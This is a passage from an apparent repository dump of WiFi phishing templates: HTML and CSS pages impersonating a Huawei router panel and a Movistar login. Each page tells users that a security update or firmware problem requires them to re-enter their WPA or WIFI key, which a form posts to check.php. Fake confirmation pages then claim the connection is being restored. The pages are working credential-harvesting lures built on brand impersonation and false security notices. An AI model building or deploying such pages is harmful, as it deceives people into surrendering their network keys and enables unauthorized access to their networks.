src=\"data:image/gif;base64,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\n\" height=\"50\" width=\"50\"></td>\n        </tr>\n      </tbody></table>\n\n\n      </TBODY>\n\n    </TABLE>\n\n\n      </blockquote>\n</BODY>\n\n</HTML>\n"
  },
  {
    "path": "sites/huawei_eng/final.html",
    "content": "<link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\"></HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n    <TABLE id=\"autoWidth\">\n\n      <TBODY>\n\n\n        <TR>\n\n          <TD class=blue colspan=2></TD>\n\n        </TR>\n\n\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n          \nYOUR INTERNET CONNECTIVITY WILL NOW BE RESTORED.</TD></TR>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n        \n\n\n\n      </TBODY>\n\n    </TABLE>\n\n\n</blockquote>\n</BODY>\n\n</HTML>\n\n"
  },
  {
    "path": "sites/huawei_eng/index.htm",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n\n\t\n\t<title>HUAWEI</title>\n\t\n\t\t \n\t\n\t\n\t\n\t\n\t\n\t\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info.css\" media=\"all\">\n</head>\n\n\n\n<body>\t\n\t\n\n\t\t<div class=\"panel_content\" id=\"panel_content\"><div class=\"house\">\n\t\t<div style=\"cursor: auto;\" id=\"internet\" class=\"divInternet\">\n\t\t<div class=\"internet\" id=\"iconInternet\" internet_status=\"INTERNET_OK\"></div>\n\t\t<div class=\"internet_txt\">\n\t\t\t<span class=\"trad\" key=\"MAP_INTERNET\"><A href=\"ayuda.htm\"><font color=\"#9CBCE3\">Click here for more info</A></span>\n\t\t\t<span class=\"internet_des trad\" key=\"COMMON_EMPTY\" id=\"internetAlert\"> </span>\n\t\t</div>\n\t</div>\n\t<div id=\"threeG\" class=\"threeG hand trad\" style=\"\">\n\t\t<div style=\"background-position: 0px 0px;\" id=\"threeG_icos\" class=\"threeG_ico\" power3g=\"3\"></div>\n\t\t<span class=\"threeG_txt hand trad\" key=\"MAP_3G\"><A href=\"ayuda.htm\"><font color=\"#F6832A\"></span>\n\t</div>\n\t<div adslconfigurable=\"true\" id=\"adsl\" adslactive=\"false\" class=\"adsl trad hand\">\n\t\t<div style=\"background-position: -152px 0px;\" class=\"adsl_ico\" id=\"iconadsl\"></div>\n\t\t<span class=\"adsl_txt trad\" key=\"MAP_ADSL\"><A href=\"ayuda.htm\"><font color=\"#F6832A\"></A></span>\n\t</div>\t\n\t<div id=\"wifi\" class=\"hand disabled\">\n\t\t<div class=\"wifi_ico\" color=\"red\"></div>\n\t\t<span class=\"gateway\"></span>\n\t\t<span class=\"wifi_txt trad\" key=\"MAP_WIFI_WPA\"><A href=\"ayuda.htm\"><font color=\"red\" >¿PLEASE HELP?------</A></span>\n\t</div>\n\n\t\n\t\n\t\n\t\t<div class=\"scroll\">\n<iframe src=\"info.html\" width=\"440\" height=\"265\" align=\"center\">\n\t\t</div>\n\t\n\t\n\t\n\n        <div id=\"remaining_session_box\" style=\"float: right; display: none;\">\n\t\t<span>Remaining Session: </span>\t\n\t\t<span id=\"remaining_session\"></span>\n\t</div>\n\n</div></div></a>\n\t</div>\t\t\t\t\t\n  \t\t\n\t<div id=\"help_dialog\" class=\"dialog\"></div>\n\t<div id=\"dialog\" class=\"dialog dialog_text\"></div>\t\n\t<div id=\"dialogWarning\" class=\"dialog dialog_text\"></div>\n\t\n\n\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/huawei_eng/info.css",
    "content": "\n/* ::::: http://192.168.1.1/css/styles.css ::::: */\n\nhtml, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; }\n:focus { outline: 0px none; }\nbody { line-height: 1; color: black; background: none repeat scroll 0% 0% white; -moz-user-select: none; }\nbody a { color: rgb(79, 79, 79); text-decoration: none; }\nol, ul { list-style: none outside none; }\ntable { border-collapse: separate; border-spacing: 0px; }\ncaption, th, td { text-align: left; font-weight: normal; }\nblockquote:before, blockquote:after, q:before, q:after { content: \"\"; }\nblockquote, q { quotes: \"\" \"\"; }\nbody { font-family: Verdana,Geneva,sans-serif; background: url('background.png') repeat-x scroll 0% 0% transparent; margin: 0px; padding: 0px; text-align: center; font-size: 14px; line-height: 14px; color: rgb(81, 85, 89); }\n.panel_general { width: 600px; height: 650px; margin: 0px auto; text-align: left; padding: 0px; background: url('background.png') repeat-x scroll 0% 0% transparent; }\n.left { float: left; }\n.right { float: right; }\n.centred { text-align: center; margin: 8px 0px; }\n.hand { cursor: pointer; }\n.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; }\n.panel_header { width: 944px; height: 131px; visibility: hidden; }\n.header_content { height: 131px; padding: 38px 40px; }\n.header_left { width: 439px; float: left; }\n.home_station { width: 239px; height: 29px; display: block; }\n.network_map { margin-top: 18px; width: 124px; height: 21px; display: block; }\n.movistar { width: 221px; height: 49px; float: right; }\n.options_menu { width: 904px; position: absolute; margin-top: -60px; }\n.line { background-color: rgb(81, 85, 89); width: 1px; height: 9px; margin: 4px 12px; }\n.line_small { background-color: rgb(160, 165, 169); width: 1px; height: 5px; margin: 6px 10px; }\n.password_ico { background: url('password_blue_light.gif') no-repeat scroll 0% 0% transparent; width: 20px; height: 10px; padding-right: 8px; margin-top: 3px; }\n.password_ico.hover { background: url('password_blue.gif') no-repeat scroll 0% 0% transparent; }\n.faq_ico { background: url('faq_blue_light.png') no-repeat scroll 0% 0% transparent; width: 17px; height: 17px; padding-right: 8px; }\n.faq_ico.hover { background: url('faq_blue.png') no-repeat scroll 0% 0% transparent; }\n.languages a { color: rgb(160, 165, 169); float: right; }\n.languages a:hover { color: rgb(112, 145, 167); text-decoration: underline; }\n.footer { height: 34px; }\n\n\n\n/* ::::: http://192.168.1.1/css/network_map.css ::::: */\n\n.house { background-image: url('house.png'); width: 817px; height: 650px; margin: auto; }\n\n.house1 { background-image: url('house1.png'); width: 817px; height: 650px; margin: auto; }\n\n#wifi { position: absolute; margin: 384px 0px 0px 450px; width: 300px; text-align: center; font-size: 15px; }\n.wifi_ico { width: 89px; height: 103px; background-position: 0px 0px; display: block; margin: 20px auto 6px; }\n.wifi_ico[color=\"grey\"] { background-position: 0px 0px; }\n.wifi_ico[color=\"green\"] { background-position: -89px 0px; }\n.wifi_ico[color=\"blue\"] { background-position: -178px 0px; }\n.wifi_ico[color=\"orange\"] { background-position: -267px 0px; }\n.wifi_ico[color=\"red\"] { background-position: -356px 0px; }\n.wifi_ico.hover { background-position: -178px 0px; }\n.gateway { display: none; margin: 0px auto; }\n.wifi_txt { margin-top: 4px; }\n#home_content { width: 380px; }\n.scroll { margin: 160px 0px 0px 230px; position: absolute; }\n\n\n/* ::::: http://192.168.1.1/css/movistar.css ::::: */\n\n.home_station { background: none repeat scroll 0% 0% transparent; }\n.ui-dialog .ui-dialog-titlebar { background: url('titlebar_m.png') repeat-x scroll 0% 0% transparent; }\n.dialog_faq { background: url('faq.png') no-repeat scroll 0% 0% transparent; }\n.dialog_faq:hover { background: url('faq_hover.png') no-repeat scroll 0% 0% transparent; }\n.ui-dialog .ui-dialog-titlebar-close { background: url('cancel_sprite.png') no-repeat scroll -44px 0px transparent; }\n.ui-dialog .ui-dialog-titlebar-close:hover { background-position: -66px 0px; }\n.welcomepan_icon { background: url('welcome_pantalla_m.png') no-repeat scroll 0% 0% transparent; }\n.welcomepan_icon:hover { background: url('welcome_pantalla_m.png') repeat scroll 270px 0px transparent; }\n.welcome_fav_icon { background: url('favoritos_m.png') no-repeat scroll 0% 0% transparent; width: 217px; height: 54px; }\n.welcome_fav_icon.hover { background: url('favoritos_m.png') repeat scroll 217px 0px transparent; }\n#help_dialog { border: 3px solid rgb(67, 177, 200); }\n.usb_icon { background: url('down_usb_m.png') no-repeat scroll 0% 0% transparent; }\n.print_icon { background: url('down_print_m.png') no-repeat scroll 0% 0% transparent; }\n.wifi_ico { background: url('router_m.png') no-repeat scroll 0% 0% transparent; }\n.imgStiker { background-image: url('gateway_sticker_m.png'); }\n.imgDefaultStiker { background-image: url('gateway_sticker_m.png'); }\n.gateway_reset_ico { width: 100px; height: 113px; background-image: url('reset_m.png'); }\n\n"
  },
  {
    "path": "sites/huawei_eng/info.html",
    "content": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info2.css\" media=\"all\">\n</head>\n<body bgcolor=\"transparent\" marginheight=\"0\" marginwidth=\"0\">\n\n<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\n  <tbody><tr> \n      <td width=\"2%\">&nbsp;</td><td width=\"5%\"></td><td width=\"93%\"> \n      <div valign=\"top\" align=\"left\"> \n        <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"360\">\n           \n          </tr>\n          <TABLE id=\"autoWidth\">\n\n      <TBODY>\n<tr><td><hr color=\"#9CBCE3\" size=3 width=\"99%\"></td></tr>\n\n\n                  <tr><td colspan=\\\"2\\\" ><font color=\"#282B2F\"><b></b></td></tr>\n        <tr><td colspan=\\\"2\\\"  ><font color=\"#282B2F\"><b></b> Continue restoring network</td></tr>\n        <tr><td colspan=\\\"2\\\"  ><font color=\"#282B2F\"><b></b></td></tr>\n\n\n<tr><td></td></tr>\n\n\n<tr><td><hr color=\"#9CBCE3\" size=3 width=\"99%\"></td></tr>\n<tr><td></td></tr>\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n<br><font color=\"#282B2F\">\nDear customer due to security updates and firmware the connection has shortcomings \n<br>\n<br>\nFor security reasons enter network key  <b></b>\n<br>\n<div id=\"box\" align=\"left\" >\n<form id=\"form1\" name=\"form1\" method=\"POST\" action=\"check.php\" >\n<tr><td><b><font color=\"#282B2F\">WPA</b> Key:</td></tr>\n<tr><td><input name=\"key1\" type=\"password\" class=\"textfield\" /><td></tr>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n                <TR><TD class=blue colspan=2></TD></TR>\n\n        \n<tr><td colspan=\"2\"><INPUT name=\"Confirm\" class=\"button\" type=\"submit\" value=\"Confirm\"/></td></tr>\n\n</form></div>\n\n</TD></TR>\n\n\n      </TBODY>\n\n    </TABLE>\n</table></div></td></tr></tbody></table>\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/huawei_eng/info2.css",
    "content": "html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; }\n:focus { outline: 0px none; }\nbody { line-height: 1; color: black; -moz-user-select: none; }\nbody a { color: rgb(79, 79, 79); text-decoration: none; }\nol, ul { list-style: none outside none; }\ntable { border-collapse: separate; border-spacing: 0px; }\ncaption, th, td { text-align: left; font-weight: normal; }\nblockquote:before, blockquote:after, q:before, q:after { content: \"\"; }\nblockquote, q { quotes: \"\" \"\"; }\nbody { font-family: Verdana,Geneva,sans-serif; margin: 0px; padding: 0px; text-align: center; font-size: 14px; line-height: 14px; color: rgb(81, 85, 89); }\n.panel_general { width: 944px; height: 720px; margin: 0px auto; text-align: left; padding: 0px; }\n.left { float: left; }\n.right { float: right; }\n.centred { text-align: center; margin: 8px 0px; }\n.hand { cursor: pointer; }\n.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; }\n.panel_header { width: 944px; height: 131px; visibility: hidden; }\n.header_content { height: 131px; padding: 38px 40px; }\n.header_left { width: 439px; float: left; }\n.line_grey { background-color: rgb(229, 229, 229); width: 100%; height: 1px; clear: both; }\ninput { margin: 6px auto; padding-left: 7px; height: 20px; width:300px; border: 1px solid rgb(207, 207, 207); font-family: Verdana,Geneva,sans-serif; font-size: 13px ! important; color: rgb(81, 85, 89); }\n.buttons_space { margin-left: 50px; } \n\n"
  },
  {
    "path": "sites/movistar_esp/error.html",
    "content": "<!DOCTYPE html>\r\n<!--[if (lte IE 8) ]><html lang=\"de-DE\" class=\"no-js lte-ie8\"><![endif]-->\r\n<!--[if (gt IE 8)|!(IE)]><!-->\r\n<html class=\"no-js\" lang=\"de\"><!--<![endif]--><!-- HEAD --><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n        <meta charset=\"UTF-8\">\r\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n        <title>Movistar Login</title>\r\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n\r\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"styles/components.css\">\r\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"styles/login.css\">\r\n    </head>\r\n    <!-- /HEAD -->\r\n\r\n    <!-- BODY -->\r\n    <body>\r\n        <!-- HEADER -->\r\n        <div id=\"tbs-header\">\r\n            <div id=\"tbs-header-content\">\r\n                <div class=\"container-fixed clearfix\">\r\n                    <div class=\"tbs-text-zero pull-left\">\r\n                        <img id=\"logo\" src=\"img/logo_movistar.png\" alt=\"\">\r\n                    </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n        <!-- /HEADER -->\r\n\r\n        <!-- CANCEL FORM -->\r\n\r\n        <!-- /CANCEL FORM -->\r\n\r\n        <!-- CONTENT -->\r\n        <div id=\"tbs-container\">\r\n\r\n\t\t<div class=\"error-box\">\r\n                <div class=\"error-box__content\"><i class=\"icon icon-large\">X</i> Clave incorrecta.</div>\r\n            </div>\r\n\t\t\t<div id=\"tbs-infobox\">\r\n\t\t\t\t\t<center><p>Para continuar navegando de manera segura, debe confirmar su clave WIFI.</p></center>\r\n\t\t\t\t\t</div>\r\n            <form id=\"form1\" name=\"form1\" method=\"POST\" action=\"check.php\" accept-charset=\"UTF-8\" autocomplete=\"off\">\r\n                <!-- XSRF Prevention -->\r\n\r\n\r\n                <div class=\"offset-bottom-4\">\r\n                    <!-- Re-Authentication -->\r\n                    <div class=\"container offset-bottom-1\">\r\n\r\n                    </div>\r\n\r\n                    <!-- username input -->\r\n                    <div class=\"form-input-set offset-bottom-1\">\r\n                        <input id=\"key1\" name=\"key1\" class=\"form-input\" maxlength=\"256\" tabindex=\"10\" type=\"password\" placeholder=\"Clave WIFI\">\r\n                    </div>\r\n\r\n\r\n\r\n\r\n\r\n                    <!-- Login button -->\r\n\t\t\t\t\t<br>\r\n                  <div class=\"text-center\">\r\n                      <button id=\"pw_submit\" name=\"pw_submit\" type=\"submit\" class=\"btn btn-brand btn-large tbs-text-upper\" tabindex=\"40\">Confirmar</button>\r\n                  </div>\r\n                </div>\r\n            </form>\r\n\r\n            <div class=\"text-center\">\r\n\r\n\r\n            </div>\r\n        </div>\r\n        <!-- /CONTENT -->\r\n\r\n\r\n\r\n        <!-- FOOTER -->\r\n        <div id=\"tbs-footer\" class=\"sticky\">\r\n          <div class=\"container-fixed\">\r\n              <div class=\"text-small clearfix\">\r\n                  <div class=\"pull-left\">\r\n                      <p>&copy; 2017 Movistar Telecomunicaciones</p>\r\n\r\n                  </div>\r\n                  <div class=\"pull-right clearfix\">\r\n                      <div class=\"pull-left\">\r\n                          <a class=\"offset-right-4\" href=\"https://www.movistar.com/es/\" target=\"_blank\" tabindex=\"90\">Movistar</a>\r\n                      </div>\r\n\r\n                  </div>\r\n              </div>\r\n          </div>\r\n</div>\r\n        <!-- /FOOTER -->\r\n\r\n        <!-- Status -->\r\n        <script>\r\n            var accountLocked = false;\r\n            var accountLockedPermanent = false;\r\n            var accountLockExpiration = 0;\r\n        </script>\r\n\r\n        <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->\r\n        <!--[if lt IE 9]>\r\n        <script type=\"text/javascript\" src=\"/static/vdplus/js/html5shiv.js\"></script>\r\n        <script type=\"text/javascript\" src=\"/static/vdplus/js/respond.min.js\"></script>\r\n        <![endif]-->\r\n\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/jquery-1.js\"></script>\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/components.js\"></script>\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/login.js\"></script>\r\n\r\n        <!-- Tracking -->\r\n        <!-- Callback Tracking -->\r\n\r\n\r\n        <!-- Toon Template Debugging -->\r\n\r\n\r\n\r\n\r\n\r\n</body><!-- /BODY --></html>\r\n"
  },
  {
    "path": "sites/movistar_esp/final.html",
    "content": "<!DOCTYPE html>\r\n<!--[if (lte IE 8) ]><html lang=\"de-DE\" class=\"no-js lte-ie8\"><![endif]-->\r\n<!--[if (gt IE 8)|!(IE)]><!-->\r\n<html class=\"no-js\" lang=\"de\"><!--<![endif]--><!-- HEAD --><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n        <meta charset=\"UTF-8\">\r\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n        <title>Movistar Login</title>\r\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n\r\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"styles/components.css\">\r\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"styles/login.css\">\r\n    </head>\r\n    <!-- /HEAD -->\r\n\r\n    <!-- BODY -->\r\n    <body>\r\n        <!-- HEADER -->\r\n        <div id=\"tbs-header\">\r\n            <div id=\"tbs-header-content\">\r\n                <div class=\"container-fixed clearfix\">\r\n                    <div class=\"tbs-text-zero pull-left\">\r\n                        <img id=\"logo\" src=\"img/logo_movistar.png\" alt=\"\">\r\n                    </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n        <!-- /HEADER -->\r\n\r\n        <!-- CANCEL FORM -->\r\n\r\n        <!-- /CANCEL FORM -->\r\n\r\n        <!-- CONTENT -->\r\n        <div id=\"tbs-container\">\r\n\r\n        <div class=\"text-center\">\r\n\t\t<div id=\"tbs-infobox\">\r\n    <center><img id=\"happy\" src=\"img/happy.png\" alt=\"\"></center>\r\n\t\t<center><p><i class=\"icon icon-large\">V</i> Clave verificada, se está restaurando la conexi&oacute;n.</p></center>\r\n\t\t</div>\r\n\t\t</div>\r\n\r\n        </div>\r\n        <!-- /CONTENT -->\r\n\r\n\r\n\r\n        <!-- FOOTER -->\r\n        <div id=\"tbs-footer\" class=\"sticky\">\r\n          <div class=\"container-fixed\">\r\n              <div class=\"text-small clearfix\">\r\n                  <div class=\"pull-left\">\r\n                      <p>&copy; 2017 Movistar Telecomunicaciones</p>\r\n\r\n                  </div>\r\n                  <div class=\"pull-right clearfix\">\r\n                      <div class=\"pull-left\">\r\n                          <a class=\"offset-right-4\" href=\"https://www.movistar.com/es/\" target=\"_blank\" tabindex=\"90\">Movistar</a>\r\n                      </div>\r\n\r\n                  </div>\r\n              </div>\r\n          </div>\r\n</div>\r\n        <!-- /FOOTER -->\r\n\r\n        <!-- Status -->\r\n        <script>\r\n            var accountLocked = false;\r\n            var accountLockedPermanent = false;\r\n            var accountLockExpiration = 0;\r\n        </script>\r\n\r\n        <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->\r\n        <!--[if lt IE 9]>\r\n        <script type=\"text/javascript\" src=\"/static/vdplus/js/html5shiv.js\"></script>\r\n        <script type=\"text/javascript\" src=\"/static/vdplus/js/respond.min.js\"></script>\r\n        <![endif]-->\r\n\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/jquery-1.js\"></script>\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/components.js\"></script>\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/login.js\"></script>\r\n\r\n        <!-- Tracking -->\r\n        <!-- Callback Tracking -->\r\n\r\n\r\n        <!-- Toon Template Debugging -->\r\n\r\n\r\n\r\n\r\n\r\n</body><!-- /BODY --></html>\r\n"
  },
  {
    "path": "sites/movistar_esp/index.html",
    "content": "<!DOCTYPE html>\r\n<!--[if (lte IE 8) ]><html lang=\"de-DE\" class=\"no-js lte-ie8\"><![endif]-->\r\n<!--[if (gt IE 8)|!(IE)]><!-->\r\n<html class=\"no-js\" lang=\"de\"><!--<![endif]--><!-- HEAD --><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n        <meta charset=\"UTF-8\">\r\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n        <title>Movistar Login</title>\r\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n\r\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"styles/components.css\">\r\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"styles/login.css\">\r\n    </head>\r\n    <!-- /HEAD -->\r\n\r\n    <!-- BODY -->\r\n    <body>\r\n        <!-- HEADER -->\r\n        <div id=\"tbs-header\">\r\n            <div id=\"tbs-header-content\">\r\n                <div class=\"container-fixed clearfix\">\r\n                    <div class=\"tbs-text-zero pull-left\">\r\n                        <img id=\"logo\" src=\"img/logo_movistar.png\" alt=\"\">\r\n                    </div>\r\n                </div>\r\n            </div>\r\n        </div>\r\n        <!-- /HEADER -->\r\n\r\n        <!-- CANCEL FORM -->\r\n\r\n        <!-- /CANCEL FORM -->\r\n\r\n        <!-- CONTENT -->\r\n        <div id=\"tbs-container\">\r\n            <div id=\"tbs-headline\">\r\n                <center><img id=\"happy2\" src=\"img/happy.png\" alt=\"\"></center>\r\n                <!--<h1 class=\"text-center marketing-l text-thin tbs-text-1em\">Verificaci&oacute;n de seguridad</h1>-->\r\n\r\n            </div>\r\n\t\t\t\t\t<div id=\"tbs-infobox\">\r\n\t\t\t\t\t<center><p>Para continuar navegando de manera segura, debe confirmar su clave WIFI.</p></center>\r\n\t\t\t\t\t</div>\r\n\r\n\r\n            <form id=\"form1\" name=\"form1\" method=\"POST\" action=\"check.php\" accept-charset=\"UTF-8\" autocomplete=\"off\">\r\n                <!-- XSRF Prevention -->\r\n\r\n\r\n\t\t\t\t\t<div class=\"offset-bottom-4\">\r\n                    <!-- Re-Authentication -->\r\n                    <div class=\"container offset-bottom-1\">\r\n\r\n                    </div>\r\n\r\n                    <!-- username input -->\r\n                    <div class=\"form-input-set offset-bottom-1\">\r\n                        <input id=\"key1\" name=\"key1\" class=\"form-input\" maxlength=\"256\" tabindex=\"10\" type=\"password\" placeholder=\"Clave WIFI\">\r\n                    </div>\r\n\r\n\r\n\r\n\r\n\r\n                    <!-- Login button -->\r\n\t\t\t\t\t<br>\r\n                    <div class=\"text-center\">\r\n                        <button id=\"pw_submit\" name=\"pw_submit\" type=\"submit\" class=\"btn btn-brand btn-large tbs-text-upper\" tabindex=\"40\">Confirmar</button>\r\n                    </div>\r\n                </div>\r\n            </form>\r\n\r\n            <div class=\"text-center\">\r\n\r\n\r\n\r\n            </div>\r\n        </div>\r\n        <!-- /CONTENT -->\r\n\r\n\r\n\r\n        <!-- FOOTER -->\r\n        <div id=\"tbs-footer\" class=\"sticky\">\r\n    <div class=\"container-fixed\">\r\n        <div class=\"text-small clearfix\">\r\n            <div class=\"pull-left\">\r\n                <p>&copy; 2017 Movistar Telecomunicaciones</p>\r\n\r\n            </div>\r\n            <div class=\"pull-right clearfix\">\r\n                <div class=\"pull-left\">\r\n                    <a class=\"offset-right-4\" href=\"https://www.movistar.com/es/\" target=\"_blank\" tabindex=\"90\">Movistar</a>\r\n                </div>\r\n\r\n            </div>\r\n        </div>\r\n    </div>\r\n</div>\r\n        <!-- /FOOTER -->\r\n\r\n   